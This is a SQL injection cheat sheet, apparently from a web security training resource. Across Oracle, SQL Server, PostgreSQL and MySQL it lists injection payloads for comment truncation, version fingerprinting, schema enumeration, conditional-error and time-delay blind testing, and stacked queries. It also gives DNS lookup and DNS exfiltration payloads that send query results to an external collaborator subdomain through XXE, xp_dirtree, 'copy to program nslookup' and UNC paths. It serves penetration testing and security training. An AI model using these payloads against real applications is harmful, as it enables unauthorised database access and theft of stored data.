SQL Injection Cheat Sheet

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String concatenation

You can concatenate together multiple strings to make a single string.

Database

Syntax

Oracle

'foo'||'bar'

Microsoft

'foo'+'bar'

PostgreSQL

'foo'||'bar'

MySQL

'foo' 'bar' [Note the space between the two strings] CONCAT('foo','bar')

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Database

Syntax

Oracle

--comment

Microsoft

--comment /*comment*/

PostgreSQL

--comment /*comment*/

MySQL

#comment -- comment [Note the space after the double dash] /*comment*/

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Database

Syntax

Oracle

SELECT banner FROM v$version SELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()

MySQL

SELECT @@version

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

Database

Syntax

Oracle

SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

Database

Syntax

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual

Microsoft

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

PostgreSQL

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END

MySQL

SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Database

Syntax

Oracle

Does not support batched queries.

Microsoft

QUERY-1-HERE; QUERY-2-HERE

PostgreSQL

QUERY-1-HERE; QUERY-2-HERE

MySQL

Does not support batched queries.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Database

Syntax

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT sleep(10)

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

Database

Syntax

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft

IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL

SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Database

Syntax

Oracle

The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence: SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')

Microsoft

exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'

PostgreSQL

copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'

MySQL

The following techniques work on Windows only: LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

Database

Syntax

Oracle

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

Microsoft

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'[email protected]+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')

PostgreSQL

create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net'''; execute c; END; $$ language plpgsql security definer; SELECT f();

MySQL

The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

Tools

Tool

URL

Description

Sqlmap

http://sqlmap.org

Automatic SQL injection and database takeover tool